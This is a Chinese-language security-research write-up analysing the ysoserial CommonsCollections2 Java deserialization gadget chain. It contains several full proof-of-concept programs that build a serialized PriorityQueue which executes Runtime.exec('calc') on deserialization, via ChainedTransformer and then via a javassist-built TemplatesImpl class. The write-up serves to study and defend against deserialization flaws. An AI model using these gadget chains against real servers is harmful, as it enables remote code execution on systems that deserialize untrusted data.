ysoserial CommonsColletions2分析
ysoserial CommonsColletions2分析
前言
此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist。
在CC2中是用的 PriorityQueue#reaObject作为反序列化的入口,利用javassist创建了一个攻击类,使用TemplatesImpl类来承载他
而CC1利用链在JDK1.8 8u71版本以后是无法使用的,具体是AnnotationInvocationHandler
的readobject
进行了改写。导致高版本中利用链无法使用。
从而引入CC2,CC2需要在commons-collections-4.0版本使用,3.1-3.2.1版本不能去使用,原因是Commons Collections2的payload中使用的TransformingComparator在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。
TransformingComparator
TransformingComparator是一个比较器comparator
在TransformingComparator的构造方法中,传入了两个值transformer
和decorated
(如图所示)
先理解重点这一句话:
TransformingComparator调用compare方法时,就会调用传入transformer对象的transform
方法
具体实现是this.transformer
在传入ChainedTransformer
后,会调用ChainedTransformer#transform
反射链
PriorityQueue
PriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法
在CC2中,此类用于调用PriorityQueue重写的readObject来作为触发入口
readObject调用了heapify()
heapify()调用了siftDown()
siftDown()需要调用到siftDownUsingComparator
在siftDownUsingComparator中调用了comparator.compare
此步关键来了,如果把这里的成员变量comparator替换为TransformingComparator会发生什么,结合开头说的。
TransformingComparator#compare
方法会去调用this.transformer
的transform
方法。
类比通过TransformingComparator的构造函数传入transformer值为ChainedTransformer后,会调用ChainedTransformer的transform
方法。这一步又回到了像CC1中的调用方式。
利用链顺序
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transformat()
可是要满足以上完整的利用链,需要满足几个条件
1. size>= 2
siftDownUsingComparator(int k, E x)中的满足while (k < half)
在条件while (k < half) 下
因为int half = size >>> 1得到(size >>> 1) - 1 >= 0
解出size>= 2
而size默认值是为0的,需要经过两次offer后变为2,所以
queue.add(1);
queue.add(2);
2. initialCapacity的值要大于1
由构造函数传入initialCapacity的值,当值小于1时候,表达式成立会抛出异常。所以要传入大于或等于1的数即new PriorityQueue(2)
3. comparator != null
comparator 是通过PriorityQueue 的构造方法传入
通过以上,写出poc
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String.class },
new Object[] { "calc.exe" }
)
};
ChainedTransformer template = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(template);
PriorityQueue queue = new PriorityQueue(2, transformingComparator);
queue.add(1);
queue.add(2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
此刻会报错,在执行反序列化的时候不会弹出计算器
问题定位到queue.add(2);处,此处调用进入到 TransformingComparator#compare
的 this.decorated.compare(value1, value2)
时
此时的this.decorated为ComparableComparator类型
进入ComparableComparator#compare方法,进行了obj1.compareTo(obj2),也就是value1的compareTo
而value1的类型为ProcessImpl,由于 ProcessImpl 没有实现Comparable而无法调用compareTo方法造成报错程序终止,就没有继续执行后面生成序列化数据的代码
既然进入到siftUpUsingComparator 程序会报错。那么是否先可以不传入TransformingComparator对象,让 comparator 为null,从而让他进入到 siftUpComparable(siftUpComparable因为没有进行comparator.compare而不会产生报错)
但是此刻没有传入TransformingComparator对象是无法反序列化执行payload得,所以怎么让PriorityQueue的comparator参数为null,又不会报错呢。
可以先使用add方法后,再利用反射传入TransformingComparator对象
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);
Field comparator = queue.getClass().getDeclaredField("comparator"); //获取comparator成员变量
comparator.setAccessible(true);
comparator.set(queue,transformingComparator); //设置comparator成员变量的值
最后得出poc:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String.class },
new Object[] { "calc.exe" }
)
};
ChainedTransformer template = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(template);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);
Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,transformingComparator);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
虽然上面已经可以进行poc构造,但是在CC2的利用链中,却抛弃了CC1中使用的ChainedTransformer,而使用了TemplatesImpl类来承载payload,利用InvokerTransformer来执行TemplatesImpl类中的方法。
因为知识浅薄,暂时想不通为什么作者要复杂化,那我们就跟着作者的思路来分析吧。
我们逆向分析构造:
首先利用javassist来构造一个名为CommonsCollections2的对象,并写入payload后转换为byte数组:
//创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个CommonsCollections2类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
在最后的bytes数组可以利用defineClass方法把byte[]类型的数据变成Class对象,然后再newInstance实例化对象时执行无参构造函数
而刚好在TemplatesImpl有个成员变量_bytecodes[],在调用TemplatesImpl#defineTransletClasses方法时,会把 _bytecodes里面的字节码文件加载成Class对象(如下图)
defineClass方法可以从byte[]还原出一个Class对象,Class对象在调用newInstance()方法就会进行实例化
在哪里既调用到了defineTransletClasses方法,也调用到newInstance方法呢?
在TemplatesImpl类中有个getTransletInstance方法调用了defineTransletClasses方法,并且利用_class.newInstance实例化了对象
在这里有两个注意点:
1.此类必须继承了AbstractTranslet,也就是上面利用javassist构造的类,需要加入父类AbstractTranslet的原因
2.TemplatesImpl中_name的值不为null,才会调用到defineTransletClasses
接下来看看getTransletInstance是怎么被调用的
在newTransformer方法中调用了getTransletInstance方法
好了,TemplatesImpl的利用链已经很明显了,这时候我们只需要传入_name和 _bytecodes的值即可。这里利用反射传入两个值
//通过反射注入bytes的值
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
//通过反射设置_name的值不为null
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"xxx");//将templatesImpl上的_name字段设置为xxx
这时候已经差不多了,我们只需要调用TemplatesImpl#newTransformer方法就可以运行runtime了。那么有什么方法能调用到newTransformer嘛
这里利用的是InvokerTransformer类的反射调用
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
而InvokerTransformer类中利用了反射技术的调用方法是InvokerTransformer#transform,怎么调用到InvokerTransformer#transform
在文章开头说过TransformingComparator
的compare
方法会去调用传入参数的transform
方法
所以,我们可以通过构造方法传入InvokerTransformer进TransformingComparator(this.transform = InvokerTransformer)
然后再调用TransformingComparator#compare方法,就会调用到InvokerTransformer#transform
TransformingComparator comparator =new TransformingComparator(transformer);
既然已经传入了InvokerTransformer了,怎么调用TransformingComparator
的compare
方法呢,现在我们可以使出PriorityQueue了。
在PriorityQueue#siftDownUsingComparator中调用到了compare。
comparator.compare中的成员变量comparator如果为TransformingComparator
则完成了TransformingComparator
调用compare
方法构造
可以通过反射把comparator的值注入成TransformingComparator
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
//获取queue对象的comparator属性
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
//把comparator的值设置为TransformingComparator
field2.set(queue,TransformingComparator);
回到调用了PriorityQueue#siftDownUsingComparator处,再逆向思维往上推理
siftDownUsingComparator在siftDown调用了
而siftDown由heapify调用
heapify是PriorityQueue反序列readObject时候调用
现在,整个思路已经很明显了,我们来简单总结一遍
- 利用javassist构造一个恶意对象,写入payload后转换为byte数组
- 利用InvokerTransformer#transform反射调用TemplatesImpl#newTransformer
- 利用TransformingComparator#compare调用到InvokerTransformer#transform
- 利用PriorityQueue#siftDownUsingComparator调用到TransformingComparator#compare
- 利用PriorityQueue#readObject调用到PriorityQueue#siftDownUsingComparator
根据上面的思路构造POC:
package ysoserial.test;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class TestCC2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
//创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
//通过反射注入bytes的值
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
//通过反射设置_name的值不为null
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"xxx");//将templatesImpl上的_name字段设置为xxx
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
//创建PriorityQueue实例化对象,排序后使size值为2
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);
field2.set(queue,comparator);//设置PriorityQueue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
弹出计算器:
思考在POC的最后几句:
Field field3=queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为反射创建的templatesImpl
这里其实是在传入InvokerTransformer#transform中的input
参考:
https://www.cnblogs.com/depycode/p/13583102.html
https://www.cnblogs.com/nice0e3/p/13860621.html
欢迎关注我的公众号,同步更新喔
ysoserial CommonsColletions2分析的更多相关文章
- ysoserial CommonsColletions4分析
ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...
- ysoserial CommonsColletions1分析
JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...
- ysoserial CommonsCollections2 分析
在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...
- ysoserial CommonsColletions7分析
CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...
- ysoserial CommonsColletions3分析(2)
上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...
- ysoserial CommonsColletions3分析(1)
CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...
- ysoserial CommonsColletions6分析
CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...
- ysoserial CommonsColletions5分析
我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...
- ysoserial commonscollections6 分析
利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...
随机推荐
- Commons-Beanutils利用链分析
前言 本篇开始介绍 commons-beanutils 利用链,注意Commons-Beanutils 不是Commons-Collections 不要看混了,首先来看一下,什么是 commons-b ...
- postman 常见异常问题的处理
1.postman一直转圈打不开的问题 一般这种问题是因为缓存过多,所以这里需要清理下缓存文件,即:删除%appdata%目录下的postman文件,删除之后可恢复正常. 这个文件夹是隐藏的,对于文件 ...
- MongoDB 批量插入和循环插入性能测试
一万条数据批量插入和循环插入 循环插入 var startTime = (new Date()).getTime() var db = connect('log') for(var i = 0;i&l ...
- CYPEESS USB3.0程序解读之---同步FIFO(slaveFifoSync)
上一篇文章解读了CYPRESS FX3的GPIO的操作过程,下面解读同步FIFO的一个例子(slaveFifoSync). *生产者,消费者. 1.首先看DMA的回调函数(cyu3dma.h): ty ...
- MyBatis学习04(注解开发)
7.使用注解开发 7.1 面向接口编程 根本原因 : 解耦 , 可拓展 , 提高复用 , 分层开发中 , 上层不用管具体的实现 , 大家都遵守共同的标准 , 使得开发变得容易 , 规范性更好 在一个面 ...
- 【笔记】浅谈支持向量机(SVM)
SVM支持向量机 支持向量机的思想原理 使用支持向量机的思想,既可以解决回归问题,又可以解决分类问题 那么支持向量机的思想是什么? 已经知道逻辑回归这种算法的本质就是在一个平面中寻找决策边界,而分类算 ...
- java实用资料
1.怎么构造一个线程安全的hashmap?用reentrantreadwritelock2.线程是怎么处理二个以上的对象同时处理一个全局变量 3.读文件为啥不用字符流 4.请求鉴定,各种错误码502- ...
- mysql复制内容到一张新表
-- 1.复制表结构及数据到新表 CREATE TABLE 新表 SELECT * FROM 旧表 -- 2.只复制表结构到新表 CREATE TABLE 新表 SELECT * FROM 旧表 WH ...
- 写webpack插件报警告Tapable.plugin is deprecated. Use new API on .hooks instead解决方案,webpack4插件新写法
最近写了个小插件报了个警告,然后去百度了一下,全都给我说extract-text-webpack-plugin这个插件有问题要更新,我也是无语了,这个插件我用都没用,百度翻了下齐刷刷全是这个答案,搞得 ...
- 高德地图——控件的添加&删除
控件属性 visible //bool 默认true ov=new AMap.OverView(); ov.hide(); //ov.show(); 显示/隐藏---表示控件的添加与删除 <!D ...